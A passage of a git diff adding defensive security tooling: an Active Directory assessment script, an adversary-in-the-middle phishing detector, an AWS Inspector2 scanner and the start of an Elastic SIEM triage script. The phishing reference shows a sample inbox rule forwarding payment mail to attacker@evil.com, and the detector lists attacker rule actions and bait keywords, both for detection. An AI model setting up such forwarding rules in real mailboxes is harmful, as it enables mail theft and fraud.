tools") + parser.add_argument("--output", help="Output JSON file path") + args = parser.parse_args() + + report = generate_report(args.server, args.username, args.password, + not args.no_ssl, args.dc_ip) + output = json.dumps(report, indent=2) + if args.output: + Path(args.output).write_text(output, encoding="utf-8") + print(f"Report written to {args.output}") + else: + print(output) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-active-directory-vulnerability-assessment/LICENSE b/skills/performing-active-directory-vulnerability-assessment/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-active-directory-vulnerability-assessment/LICENSE +++ b/skills/performing-active-directory-vulnerability-assessment/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-active-directory-vulnerability-assessment/references/api-reference.md b/skills/performing-active-directory-vulnerability-assessment/references/api-reference.md new file mode 100644 index 00000000..31b0d03b --- /dev/null +++ b/skills/performing-active-directory-vulnerability-assessment/references/api-reference.md @@ -0,0 +1,88 @@ +# Active Directory Vulnerability Assessment - API Reference + +## PingCastle XML Report + +PingCastle generates XML health check reports with scoring across four categories: + +| Category | Description | +|----------|-------------| +| StaleObjects | Dormant accounts, old computer objects, unused groups | +| PrivilegiedGroup | Excessive admin memberships, unprotected privileged accounts | +| Trust | Insecure trust relationships, SID filtering | +| Anomaly | Unusual configurations, legacy protocols | + +### Score Interpretation +- 0-20: Excellent +- 21-50: Good +- 51-75: Needs improvement +- 76-100: Critical + +### XML Structure +```xml + + 45 + 15 + 20 + + + P-AdminCount + PrivilegiedGroup + 30 + 15 accounts with adminCount=1 + + + +``` + +## LDAP Checks (ldap3) + +### Password Policy Attributes + +| Attribute | Type | Description | +|-----------|------|-------------| +| `minPwdLength` | int | Minimum password length | +| `lockoutThreshold` | int | Failed attempts before lockout (0 = disabled) | +| `pwdHistoryLength` | int | Number of remembered passwords | +| `maxPwdAge` | interval | Maximum password age | + +### krbtgt Account +The krbtgt account key encrypts all Kerberos tickets. If compromised (Golden Ticket attack), all tickets must be invalidated by resetting krbtgt password twice. Recommended rotation: every 180 days. + +```python +conn.search(base_dn, "(&(objectClass=user)(sAMAccountName=krbtgt))", + attributes=["pwdLastSet"]) +``` + +## Vulnerability Categories + +### Critical +- No account lockout policy +- krbtgt password > 180 days old +- PingCastle risk rules with 50+ points + +### High +- Minimum password length < 12 +- Accounts with adminCount=1 not in privileged groups +- Legacy protocols enabled (NTLMv1, LM hashes) + +### Medium +- Password history < 12 +- Stale computer objects > 90 days +- Unconstrained delegation + +## Output Schema + +```json +{ + "report": "ad_vulnerability_assessment", + "pingcastle_scores": {"global": 45, "staleobjects": 15}, + "total_findings": 20, + "severity_summary": {"critical": 3, "high": 10, "medium": 7} +} +``` + +## CLI Usage + +```bash +python agent.py --pingcastle-xml report.xml --server ldaps://dc.example.com --username "DOMAIN\\user" --password "pass" --output report.json +``` diff --git a/skills/performing-active-directory-vulnerability-assessment/scripts/agent.py b/skills/performing-active-directory-vulnerability-assessment/scripts/agent.py new file mode 100644 index 00000000..cbb4b37c --- /dev/null +++ b/skills/performing-active-directory-vulnerability-assessment/scripts/agent.py @@ -0,0 +1,169 @@ +#!/usr/bin/env python3 +"""Active Directory Vulnerability Assessment agent - parses PingCastle XML +reports and performs LDAP checks to assess AD security posture against +common vulnerability categories.""" + +import argparse +import json +import sys +import xml.etree.ElementTree as ET +from collections import Counter +from datetime import datetime, timedelta +from pathlib import Path + +try: + from ldap3 import Server, Connection, ALL, SUBTREE +except ImportError: + Connection = None + + +def parse_pingcastle_report(xml_path: str) -> dict: + """Parse PingCastle XML health check report.""" + tree = ET.parse(xml_path) + root = tree.getroot() + + scores = {} + for score_elem in root.iter("GlobalScore"): + scores["global"] = int(score_elem.text) if score_elem.text else 0 + for cat in ("StaleObjectsScore", "PrivilegiedGroupScore", + "TrustScore", "AnomalyScore"): + elem = root.find(f".//{cat}") + if elem is not None and elem.text: + scores[cat.replace("Score", "").lower()] = int(elem.text) + + risks = [] + for rule in root.iter("HealthcheckRiskRule"): + rationale = rule.find("Rationale") + category = rule.find("Category") + points = rule.find("Points") + risks.append({ + "rule": rule.find("RiskId").text if rule.find("RiskId") is not None else "", + "category": category.text if category is not None else "", + "points": int(points.text) if points is not None and points.text else 0, + "rationale": rationale.text if rationale is not None else "", + }) + + return {"scores": scores, "risks": risks} + + +def check_password_policy_ldap(server_url: str, username: str, password: str) -> list[dict]: + """Check domain password policy via LDAP.""" + if Connection is None: + return [{"error": "ldap3 not installed"}] + srv = Server(server_url, get_info=ALL, use_ssl=True) + conn = Connection(srv, user=username, password=password, auto_bind=True) + base_dn = conn.server.info.other.get("defaultNamingContext", [""])[0] + + conn.search(base_dn, "(objectClass=domain)", search_scope=SUBTREE, + attributes=["minPwdLength", "lockoutThreshold", "pwdHistoryLength", + "maxPwdAge", "minPwdAge"]) + findings = [] + if conn.entries: + entry = conn.entries[0] + min_len = int(str(entry.minPwdLength)) if hasattr(entry, "minPwdLength") else 0 + lockout = int(str(entry.lockoutThreshold)) if hasattr(entry, "lockoutThreshold") else 0 + history = int(str(entry.pwdHistoryLength)) if hasattr(entry, "pwdHistoryLength") else 0 + + if min_len < 12: + findings.append({"check": "min_password_length", "value": min_len, + "severity": "high", "detail": f"Min length {min_len} < 12"}) + if lockout == 0: + findings.append({"check": "account_lockout", "value": lockout, + "severity": "critical", "detail": "No account lockout policy"}) + if history < 12: + findings.append({"check": "password_history", "value": history, + "severity": "medium", "detail": f"History {history} < 12"}) + conn.unbind() + return findings + + +def check_krbtgt_age(server_url: str, username: str, password: str) -> list[dict]: + """Check krbtgt account password age.""" + if Connection is None: + return [] + srv = Server(server_url, get_info=ALL, use_ssl=True) + conn = Connection(srv, user=username, password=password, auto_bind=True) + base_dn = conn.server.info.other.get("defaultNamingContext", [""])[0] + + conn.search(base_dn, "(&(objectClass=user)(sAMAccountName=krbtgt))", + search_scope=SUBTREE, attributes=["pwdLastSet"]) + findings = [] + if conn.entries: + pwd_set = conn.entries[0].pwdLastSet.value + if pwd_set: + age_days = (datetime.utcnow() - pwd_set.replace(tzinfo=None)).days + if age_days > 180: + findings.append({ + "check": "krbtgt_password_age", + "value": age_days, + "severity": "critical", + "detail": f"krbtgt password is {age_days} days old (reset recommended every 180 days)", + }) + conn.unbind() + return findings + + +def assess_pingcastle_risks(risks: list[dict]) -> list[dict]: + """Convert PingCastle risk rules into standardized findings.""" + findings = [] + for risk in risks: + severity = "critical" if risk["points"] >= 50 else "high" if risk["points"] >= 20 else "medium" if risk["points"] >= 5 else "low" + findings.append({ + "type": f"pingcastle_{risk['rule']}", + "severity": severity, + "category": risk["category"], + "points": risk["points"], + "detail": risk["rationale"], + }) + return findings + + +def generate_report(xml_path: str = None, server_url: str = None, + username: str = None, password: str = None) -> dict: + """Run all assessments and build consolidated report.""" + findings = [] + scores = {} + + if xml_path: + pc_data = parse_pingcastle_report(xml_path) + scores = pc_data["scores"] + findings.extend(assess_pingcastle_risks(pc_data["risks"])) + + if server_url and username and password: + findings.extend(check_password_policy_ldap(server_url, username, password)) + findings.extend(check_krbtgt_age(server_url, username, password)) + + severity_counts = Counter(f.get("severity", "info") for f in findings) + return { + "report": "ad_vulnerability_assessment", + "generated_at": datetime.utcnow().isoformat() + "Z", + "pingcastle_scores": scores, + "total_findings": len(findings), + "severity_summary": dict(severity_counts), + "findings": findings, + } + + +def main(): + parser = argparse.ArgumentParser(description="AD Vulnerability Assessment Agent") + parser.add_argument("--pingcastle-xml", help="PingCastle XML report file") + parser.add_argument("--server", help="LDAP server URL for live checks") + parser.add_argument("--username", help="Domain username") + parser.add_argument("--password", help="Password") + parser.add_argument("--output", help="Output JSON file path") + args = parser.parse_args() + + if not args.pingcastle_xml and not args.server: + parser.error("At least --pingcastle-xml or --server is required") + + report = generate_report(args.pingcastle_xml, args.server, args.username, args.password) + output = json.dumps(report, indent=2) + if args.output: + Path(args.output).write_text(output, encoding="utf-8") + print(f"Report written to {args.output}") + else: + print(output) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-adversary-in-the-middle-phishing-detection/LICENSE b/skills/performing-adversary-in-the-middle-phishing-detection/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-adversary-in-the-middle-phishing-detection/LICENSE +++ b/skills/performing-adversary-in-the-middle-phishing-detection/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-adversary-in-the-middle-phishing-detection/references/api-reference.md b/skills/performing-adversary-in-the-middle-phishing-detection/references/api-reference.md new file mode 100644 index 00000000..80b8c871 --- /dev/null +++ b/skills/performing-adversary-in-the-middle-phishing-detection/references/api-reference.md @@ -0,0 +1,90 @@ +# Adversary-in-the-Middle (AiTM) Phishing Detection - API Reference + +## AiTM Attack Overview + +AiTM phishing uses a reverse proxy between the victim and legitimate login page to intercept session cookies in real-time, bypassing MFA. Common frameworks: Evilginx2, Modlishka, Muraena. + +**Attack Chain:** +1. Victim clicks phishing link +2. Reverse proxy forwards request to real login page +3. Victim enters credentials and completes MFA +4. Proxy captures session cookie +5. Attacker replays session cookie from different location + +## Azure AD / Entra ID Sign-In Logs + +### Export via Microsoft Graph API +``` +GET https://graph.microsoft.com/v1.0/auditLogs/signIns +``` + +### Key Fields + +| Field | Type | Description | +|-------|------|-------------| +| `userPrincipalName` | string | User email | +| `createdDateTime` | ISO-8601 | Sign-in timestamp | +| `ipAddress` | string | Source IP address | +| `location.latitude` | float | Geo-location latitude | +| `location.longitude` | float | Geo-location longitude | +| `deviceDetail.displayName` | string | Device name | +| `correlationId` | string | Session correlation ID | +| `userAgent` | string | Browser user agent | + +## Detection Methods + +### Impossible Travel +Calculates Haversine great-circle distance between consecutive logins. If `distance / time > 900 km/h` (commercial flight speed) and distance > 100km, flags as suspicious. + +### Suspicious Inbox Rules +AiTM attackers commonly create rules to: +- Forward emails to external address (`forwardTo`, `redirectTo`) +- Delete incoming emails (`moveToDeletedItems`, `permanentDelete`) +- Auto-read messages (`markAsRead`) +- Filter on keywords: invoice, payment, wire, bank, password + +### Token Replay Detection +Multiple IPs and devices in a short timeframe for the same user session indicates stolen session token replay. + +## Inbox Rules Format + +```json +[ + { + "displayName": "rule1", + "mailboxOwner": "user@example.com", + "actions": {"forwardTo": [{"emailAddress": {"address": "attacker@evil.com"}}]}, + "conditions": {"subjectContains": ["invoice", "payment"]}, + "createdDateTime": "2024-01-15T10:00:00Z" + } +] +``` + +## Haversine Formula + +```python +from math import radians, cos, sin, asin, sqrt +def haversine_km(lat1, lon1, lat2, lon2): + lat1, lon1, lat2, lon2 = map(radians, [lat1, lon1, lat2, lon2]) + dlat, dlon = lat2 - lat1, lon2 - lon1 + a = sin(dlat/2)**2 + cos(lat1) * cos(lat2) * sin(dlon/2)**2 + return 2 * 6371 * asin(sqrt(a)) +``` + +## Output Schema + +```json +{ + "report": "aitm_phishing_detection", + "total_sign_ins_analyzed": 5000, + "total_findings": 8, + "severity_summary": {"critical": 3, "high": 5}, + "findings": [{"type": "impossible_travel", "severity": "critical"}] +} +``` + +## CLI Usage + +```bash +python agent.py --logs signin_logs.json --inbox-rules rules.json --output report.json +``` diff --git a/skills/performing-adversary-in-the-middle-phishing-detection/scripts/agent.py b/skills/performing-adversary-in-the-middle-phishing-detection/scripts/agent.py new file mode 100644 index 00000000..6f85d970 --- /dev/null +++ b/skills/performing-adversary-in-the-middle-phishing-detection/scripts/agent.py @@ -0,0 +1,171 @@ +#!/usr/bin/env python3 +"""Adversary-in-the-Middle (AiTM) Phishing Detection agent - analyzes sign-in +logs and inbox rules to detect AiTM phishing campaigns that bypass MFA by +proxying authentication sessions.""" + +import argparse +import json +import sys +from collections import Counter, defaultdict +from datetime import datetime, timedelta +from pathlib import Path +from math import radians, cos, sin, asin, sqrt + + +def haversine_km(lat1: float, lon1: float, lat2: float, lon2: float) -> float: + """Calculate great-circle distance between two points.""" + lat1, lon1, lat2, lon2 = map(radians, [lat1, lon1, lat2, lon2]) + dlat = lat2 - lat1 + dlon = lon2 - lon1 + a = sin(dlat / 2) ** 2 + cos(lat1) * cos(lat2) * sin(dlon / 2) ** 2 + return 2 * 6371 * asin(sqrt(a)) + + +def load_sign_in_logs(log_path: str) -> list[dict]: + """Load Azure AD / Entra ID sign-in logs in JSON format.""" + content = Path(log_path).read_text(encoding="utf-8") + try: + return json.loads(content) + except json.JSONDecodeError: + return [json.loads(line) for line in content.strip().splitlines() if line.strip()] + + +def detect_impossible_travel(logs: list[dict], max_speed_kmh: float = 900) -> list[dict]: + """Detect impossible travel - logins from distant locations in short time.""" + findings = [] + user_logins = defaultdict(list) + for log in logs: + user = log.get("userPrincipalName", "") + ts = log.get("createdDateTime", "") + lat = log.get("location", {}).get("latitude") + lon = log.get("location", {}).get("longitude") + ip = log.get("ipAddress", "") + if user and ts and lat is not None and lon is not None: + try: + dt = datetime.fromisoformat(ts.replace("Z", "+00:00")) + user_logins[user].append({"dt": dt, "lat": lat, "lon": lon, "ip": ip}) + except ValueError: + continue + + for user, logins in user_logins.items(): + logins.sort(key=lambda x: x["dt"]) + for i in range(1, len(logins)): + prev, curr = logins[i - 1], logins[i] + dist = haversine_km(prev["lat"], prev["lon"], curr["lat"], curr["lon"]) + hours = (curr["dt"] - prev["dt"]).total_seconds() / 3600 + if hours > 0 and dist / hours > max_speed_kmh and dist > 100: + findings.append({ + "type": "impossible_travel", + "severity": "critical", + "user": user, + "distance_km": round(dist, 1), + "time_hours": round(hours, 2), + "speed_kmh": round(dist / hours, 0), + "from_ip": prev["ip"], + "to_ip": curr["ip"], + "detail": f"Login from {round(dist)}km away in {round(hours, 1)}h ({round(dist/hours)}km/h)", + }) + return findings + + +def detect_suspicious_inbox_rules(rules_path: str) -> list[dict]: + """Detect inbox rules commonly created by AiTM attackers.""" + findings = [] + rules = json.loads(Path(rules_path).read_text(encoding="utf-8")) + suspicious_actions = {"moveToDeletedItems", "permanentDelete", "forwardTo", + "redirectTo", "markAsRead"} + suspicious_keywords = {"invoice", "payment", "wire", "bank", "urgent", + "password", "mfa", "security", "verify"} + + for rule in rules: + actions = set(rule.get("actions", {}).keys()) + matched_actions = actions & suspicious_actions + conditions = json.dumps(rule.get("conditions", {})).lower() + matched_keywords = {kw for kw in suspicious_keywords if kw in conditions} + + if matched_actions: + severity = "critical" if "forwardTo" in matched_actions or "redirectTo" in matched_actions else "high" + findings.append({ + "type": "suspicious_inbox_rule", + "severity": severity, + "rule_name": rule.get("displayName", "unnamed"), + "user": rule.get("mailboxOwner", "unknown"), + "suspicious_actions": sorted(matched_actions), + "keyword_triggers": sorted(matched_keywords), + "created": rule.get("createdDateTime", ""), + "detail": f"Rule with {', '.join(matched_actions)} actions", + }) + return findings + + +def detect_token_replay(logs: list[dict]) -> list[dict]: + """Detect potential session token replay from new device/location.""" + findings = [] + user_sessions = defaultdict(list) + for log in logs: + user = log.get("userPrincipalName", "") + session_id = log.get("correlationId", "") + device = log.get("deviceDetail", {}).get("displayName", "unknown") + ip = log.get("ipAddress", "") + user_agent = log.get("userAgent", "") + if user: + user_sessions[user].append({ + "session": session_id, "device": device, + "ip": ip, "ua": user_agent, + }) + + for user, sessions in user_sessions.items(): + ips = set(s["ip"] for s in sessions) + devices = set(s["device"] for s in sessions) + if len(ips) > 3 and len(devices) > 3: + findings.append({ + "type": "possible_token_replay", + "severity": "high", + "user": user, + "unique_ips": len(ips), + "unique_devices": len(devices), + "detail": f"{len(ips)} IPs and {len(devices)} devices in session data", + }) + return findings + + +def generate_report(log_path: str, rules_path: str = None, + max_speed: float = 900) -> dict: + """Run all detection checks and build consolidated report.""" + logs = load_sign_in_logs(log_path) + findings = [] + findings.extend(detect_impossible_travel(logs, max_speed)) + findings.extend(detect_token_replay(logs)) + if rules_path: + findings.extend(detect_suspicious_inbox_rules(rules_path)) + + severity_counts = Counter(f["severity"] for f in findings) + return { + "report": "aitm_phishing_detection", + "generated_at": datetime.utcnow().isoformat() + "Z", + "total_sign_ins_analyzed": len(logs), + "total_findings": len(findings), + "severity_summary": dict(severity_counts), + "findings": findings, + } + + +def main(): + parser = argparse.ArgumentParser(description="AiTM Phishing Detection Agent") + parser.add_argument("--logs", required=True, help="Azure AD sign-in logs JSON file") + parser.add_argument("--inbox-rules", help="Inbox rules JSON export") + parser.add_argument("--max-speed", type=float, default=900, help="Max travel speed km/h (default: 900)") + parser.add_argument("--output", help="Output JSON file path") + args = parser.parse_args() + + report = generate_report(args.logs, args.inbox_rules, args.max_speed) + output = json.dumps(report, indent=2) + if args.output: + Path(args.output).write_text(output, encoding="utf-8") + print(f"Report written to {args.output}") + else: + print(output) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-agentless-vulnerability-scanning/LICENSE b/skills/performing-agentless-vulnerability-scanning/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-agentless-vulnerability-scanning/LICENSE +++ b/skills/performing-agentless-vulnerability-scanning/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-agentless-vulnerability-scanning/references/api-reference.md b/skills/performing-agentless-vulnerability-scanning/references/api-reference.md new file mode 100644 index 00000000..0a10e1f5 --- /dev/null +++ b/skills/performing-agentless-vulnerability-scanning/references/api-reference.md @@ -0,0 +1,106 @@ +# Agentless Vulnerability Scanning - API Reference + +## AWS Inspector2 (boto3) + +### Enable Inspector +```python +client = boto3.client("inspector2") +client.enable(resourceTypes=["EC2", "ECR", "LAMBDA"], + accountIds=["123456789012"]) +``` + +### Check Account Status +```python +client.batch_get_account_status(accountIds=["123456789012"]) +``` + +### List Coverage +```python +paginator = client.get_paginator("list_coverage") +for page in paginator.paginate( + filterCriteria={"resourceType": [{"comparison": "EQUALS", "value": "AWS_EC2_INSTANCE"}]} +): + for resource in page["coveredResources"]: + print(resource["resourceId"], resource["scanStatus"]["statusCode"]) +``` + +### List Findings +```python +paginator = client.get_paginator("list_findings") +for page in paginator.paginate( + filterCriteria={"severity": [{"comparison": "EQUALS", "value": "CRITICAL"}]} +): + for finding in page["findings"]: + print(finding["title"], finding["severity"]) +``` + +### Finding Fields + +| Field | Type | Description | +|-------|------|-------------| +| `findingArn` | string | Unique finding ARN | +| `title` | string | Vulnerability title | +| `severity` | string | CRITICAL, HIGH, MEDIUM, LOW, INFORMATIONAL | +| `status` | string | ACTIVE, SUPPRESSED, CLOSED | +| `type` | string | NETWORK_REACHABILITY or PACKAGE_VULNERABILITY | +| `resources` | array | Affected AWS resources | +| `packageVulnerabilityDetails.vulnerabilityId` | string | CVE ID | +| `packageVulnerabilityDetails.cvss` | array | CVSS scores | +| `packageVulnerabilityDetails.fixedInVersion` | string | Patched version | + +## Agentless Scanning via EBS Snapshots + +Inspector2 supports agentless scanning by: +1. Creating EBS snapshots of instance volumes +2. Mounting snapshots in Inspector service account +3. Scanning file system for vulnerable packages +4. No agent installation required on target instances + +### Create Snapshot (boto3 EC2) +```python +ec2 = boto3.client("ec2") +ec2.create_snapshot( + VolumeId="vol-xxx", + Description="Agentless scan", + TagSpecifications=[{"ResourceType": "snapshot", + "Tags": [{"Key": "Purpose", "Value": "VulnScan"}]}] +) +``` + +## SSM Inventory (Alternative) + +AWS Systems Manager Inventory collects software inventory without custom agents: +```python +ssm = boto3.client("ssm") +ssm.get_inventory( + Filters=[{"Key": "AWS:Application.Name", "Values": ["openssl"]}] +) +``` + +## Scan Types + +| Type | Method | Agent Required | +|------|--------|---------------| +| Inspector Classic | AWS agent | Yes | +| Inspector2 Agent | SSM agent | Yes (auto-installed) | +| Inspector2 Agentless | EBS snapshot | No | +| SSM Inventory | SSM agent | Yes | + +## Output Schema + +```json +{ + "report": "agentless_vulnerability_scanning", + "inspector_status": {"enabled": true}, + "total_resources_scanned": 50, + "uncovered_resources": 3, + "total_findings": 125, + "severity_summary": {"CRITICAL": 5, "HIGH": 30, "MEDIUM": 60, "LOW": 30} +} +``` + +## CLI Usage + +```bash +python agent.py --region us-east-1 --severity CRITICAL HIGH --output report.json +``` diff --git a/skills/performing-agentless-vulnerability-scanning/scripts/agent.py b/skills/performing-agentless-vulnerability-scanning/scripts/agent.py new file mode 100644 index 00000000..19b9782e --- /dev/null +++ b/skills/performing-agentless-vulnerability-scanning/scripts/agent.py @@ -0,0 +1,165 @@ +#!/usr/bin/env python3 +"""Agentless Vulnerability Scanning agent - uses AWS Inspector2 and SSM APIs +via boto3 to perform agentless scans of EC2 instances through EBS snapshot +analysis without requiring installed agents.""" + +import argparse +import json +import sys +from collections import Counter +from datetime import datetime +from pathlib import Path + +try: + import boto3 + from botocore.exceptions import ClientError +except ImportError: + print("Install boto3: pip install boto3", file=sys.stderr) + sys.exit(1) + + +def get_inspector_client(region: str = "us-east-1", profile: str = None): + """Create AWS Inspector2 client.""" + session = boto3.Session(profile_name=profile, region_name=region) + return session.client("inspector2") + + +def get_ec2_client(region: str = "us-east-1", profile: str = None): + """Create EC2 client.""" + session = boto3.Session(profile_name=profile, region_name=region) + return session.client("ec2") + + +def check_inspector_status(client) -> dict: + """Check Inspector2 enablement status.""" + try: + response = client.batch_get_account_status( + accountIds=[boto3.client("sts").get_caller_identity()["Account"]] + ) + accounts = response.get("accounts", []) + if accounts: + status = accounts[0].get("state", {}).get("status", "UNKNOWN") + return {"enabled": status == "ENABLED", "status": status} + return {"enabled": False, "status": "NO_DATA"} + except ClientError as e: + return {"enabled": False, "error": str(e)} + + +def list_ec2_scan_coverage(client) -> list[dict]: + """List EC2 instances and their scan coverage status.""" + coverage = [] + paginator = client.get_paginator("list_coverage") + for page in paginator.paginate( + filterCriteria={"resourceType": [{"comparison": "EQUALS", "value": "AWS_EC2_INSTANCE"}]} + ): + for item in page.get("coveredResources", []): + coverage.append({ + "resource_id": item.get("resourceId", ""), + "resource_type": item.get("resourceType", ""), + "scan_status": item.get("scanStatus", {}).get("statusCode", "UNKNOWN"), + "scan_type": item.get("scanType", ""), + "account_id": item.get("accountId", ""), + }) + return coverage + + +def list_findings(client, severity_filter: list[str] = None, + max_results: int = 500) -> list[dict]: + """List vulnerability findings from Inspector2.""" + filter_criteria = {} + if severity_filter: + filter_criteria["severity"] = [ + {"comparison": "EQUALS", "value": s} for s in severity_filter + ] + findings = [] + paginator = client.get_paginator("list_findings") + params = {"filterCriteria": filter_criteria, "maxResults": min(max_results, 100)} + count = 0 + for page in paginator.paginate(**params): + for finding in page.get("findings", []): + findings.append({ + "finding_arn": finding.get("findingArn", ""), + "title": finding.get("title", ""), + "severity": finding.get("severity", ""), + "status": finding.get("status", ""), + "type": finding.get("type", ""), + "resource_id": finding.get("resources", [{}])[0].get("id", ""), + "resource_type": finding.get("resources", [{}])[0].get("type", ""), + "vulnerability_id": finding.get("packageVulnerabilityDetails", {}).get("vulnerabilityId", ""), + "cvss_score": finding.get("packageVulnerabilityDetails", {}).get("cvss", [{}])[0].get("baseScore", 0), + "fixed_in": finding.get("packageVulnerabilityDetails", {}).get("fixedInVersion", ""), + "first_observed": str(finding.get("firstObservedAt", "")), + }) + count += 1 + if count >= max_results: + return findings + return findings + + +def create_ebs_snapshot_scan(ec2_client, instance_id: str) -> dict: + """Create EBS snapshots for agentless scanning.""" + try: + volumes = ec2_client.describe_volumes( + Filters=[{"Name": "attachment.instance-id", "Values": [instance_id]}] + ) + snapshots = [] + for vol in volumes.get("Volumes", []): + snap = ec2_client.create_snapshot( + VolumeId=vol["VolumeId"], + Description=f"Agentless scan snapshot for {instance_id}", + TagSpecifications=[{ + "ResourceType": "snapshot", + "Tags": [{"Key": "Purpose", "Value": "AgentlessVulnScan"}, + {"Key": "SourceInstance", "Value": instance_id}] + }] + ) + snapshots.append({"volume_id": vol["VolumeId"], "snapshot_id": snap["SnapshotId"]}) + return {"instance_id": instance_id, "snapshots": snapshots} + except ClientError as e: + return {"instance_id": instance_id, "error": str(e)} + + +def generate_report(region: str, profile: str = None, + severity_filter: list[str] = None) -> dict: + """Run agentless scanning assessment and build report.""" + inspector = get_inspector_client(region, profile) + status = check_inspector_status(inspector) + coverage = list_ec2_scan_coverage(inspector) + findings = list_findings(inspector, severity_filter) + + severity_counts = Counter(f["severity"] for f in findings) + uncovered = [c for c in coverage if c["scan_status"] != "ACTIVE"] + return { + "report": "agentless_vulnerability_scanning", + "generated_at": datetime.utcnow().isoformat() + "Z", + "region": region, + "inspector_status": status, + "total_resources_scanned": len(coverage), + "uncovered_resources": len(uncovered), + "total_findings": len(findings), + "severity_summary": dict(severity_counts), + "uncovered_resources_list": uncovered[:20], + "findings": findings, + } + + +def main(): + parser = argparse.ArgumentParser(description="Agentless Vulnerability Scanning Agent") + parser.add_argument("--region", default="us-east-1", help="AWS region") + parser.add_argument("--profile", help="AWS CLI profile name") + parser.add_argument("--severity", nargs="+", choices=["CRITICAL", "HIGH", "MEDIUM", "LOW"], + help="Filter by severity") + parser.add_argument("--output", help="Output JSON file path") + args = parser.parse_args() + + report = generate_report(args.region, args.profile, args.severity) + output = json.dumps(report, indent=2) + if args.output: + Path(args.output).write_text(output, encoding="utf-8") + print(f"Report written to {args.output}") + else: + print(output) + + +if __name__ == "__main__": + main() diff --git a/skills/performing-alert-triage-with-elastic-siem/LICENSE b/skills/performing-alert-triage-with-elastic-siem/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/performing-alert-triage-with-elastic-siem/LICENSE +++ b/skills/performing-alert-triage-with-elastic-siem/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/performing-alert-triage-with-elastic-siem/references/api-reference.md b/skills/performing-alert-triage-with-elastic-siem/references/api-reference.md new file mode 100644 index 00000000..a7aaae76 --- /dev/null +++ b/skills/performing-alert-triage-with-elastic-siem/references/api-reference.md @@ -0,0 +1,112 @@ +# Alert Triage with Elastic SIEM - API Reference + +## elasticsearch-py Client + +### Connection +```python +from elasticsearch import Elasticsearch +es = Elasticsearch( + hosts=["https://elastic:9200"], + api_key="base64-api-key", + verify_certs=True +) +``` + +### SIEM Signals Index +Elastic Security stores alerts in `.siem-signals--*` indices. + +## Querying Alerts + +### Search Open Alerts +```python +es.search( + index=".siem-signals-*", + query={"bool": {"must": [ + {"range": {"@timestamp": {"gte": "now-24h"}}}, + {"term": {"signal.status": "open"}} + ]}}, + sort=[{"@timestamp": {"order": "desc"}}], + size=500 +) +``` + +### Alert Fields + +| Field | Path | Description | +|-------|------|-------------| +| Rule name | `signal.rule.name` | Detection rule that triggered | +| Rule ID | `signal.rule.id` | Unique rule identifier | +| Severity | `signal.rule.severity` | critical, high, medium, low | +| Risk score | `signal.rule.risk_score` | 0-100 numeric score | +| Status | `signal.status` | open, acknowledged, closed | +| Source IP | `source.ip` | Alert source address | +| Destination IP | `destination.ip` | Alert destination address | +| User | `user.name` | Associated username | +| Host | `host.name` | Affected hostname | +| Process | `process.name` | Triggering process | + +### Aggregations +```python +es.search( + index=".siem-signals-*", + query={"bool": {"must": [...]}}, + aggs={ + "by_severity": {"terms": {"field": "signal.rule.severity", "size": 10}}, + "by_rule": {"terms": {"field": "signal.rule.name.keyword", "size": 20}}, + "by_host": {"terms": {"field": "host.name.keyword", "size": 20}} + }, + size=0 +) +``` + +## Alert Status Management + +### Update Alert Status +```python +es.update( + index=".siem-signals-default-000001", + id="alert_doc_id", + body={"doc": {"signal": {"status": "closed"}}} +) +``` + +## Triage Prioritization + +### Severity Priority +1. Critical (risk score 90-100) +2. High (risk score 70-89) +3. Medium (risk score 40-69) +4. Low (risk score 0-39) + +### Alert Clustering +Alerts from the same host within a time window are grouped as potential incidents. Three or more alerts from the same host suggest a multi-stage attack. + +## Elastic Security API + +### List Detection Rules +``` +GET /api/detection_engine/rules/_find?per_page=100 +``` + +### Get Rule Execution Status +``` +GET /api/detection_engine/rules/_find_statuses +``` + +## Output Schema + +```json +{ + "report": "elastic_siem_alert_triage", + "total_open_alerts": 45, + "severity_summary": {"critical": 3, "high": 12, "medium": 20, "low": 10}, + "alert_clusters": [{"host": "web01", "alert_count": 5, "max_severity": "high"}], + "aggregations": {"by_severity": [{"key": "high", "count": 12}]} +} +``` + +## CLI Usage + +```bash +python agent.py --host https://elastic:9200 --api-key "key" --hours 24 --output report.json +``` diff --git a/skills/performing-alert-triage-with-elastic-siem/scripts/agent.py b/skills/performing-alert-triage-with-elastic-siem/scripts/agent.py new file mode 100644 index 00000000..d3f847cc --- /dev/null +++ b/skills/performing-alert-triage-with-elastic-siem/scripts/agent.py @@ -0,0 +1,175 @@ +#!/usr/bin/env python3 +"""Alert Triage with Elastic SIEM agent - queries Elasticsearch SIEM signals +index to retrieve, prioritize, and triage security alerts using +elasticsearch-py client.""" + +import argparse +import json +import sys +from collections import Counter +from datetime import datetime, timedelta +from pathlib import Path + +try: + from elasticsearch import Elasticsearch +except ImportError: + print("Install elasticsearch: pip install elasticsearch", file=sys.stderr) + sys.exit(1) + + +SIEM_SIGNALS_INDEX = ".siem-signals-*" + +SEVERITY_PRIORITY = {"critical": 1, "high": 2, "medium": 3, "low": 4} + + +def create_client(host: str, api_key: str = None, username: str = None, + password: str = None, verify_certs: bool = True) -> Elasticsearch: + """Create Elasticsearch client.""" + kwargs = {"hosts": [host], "verify_certs": verify_certs} + if api_key: + 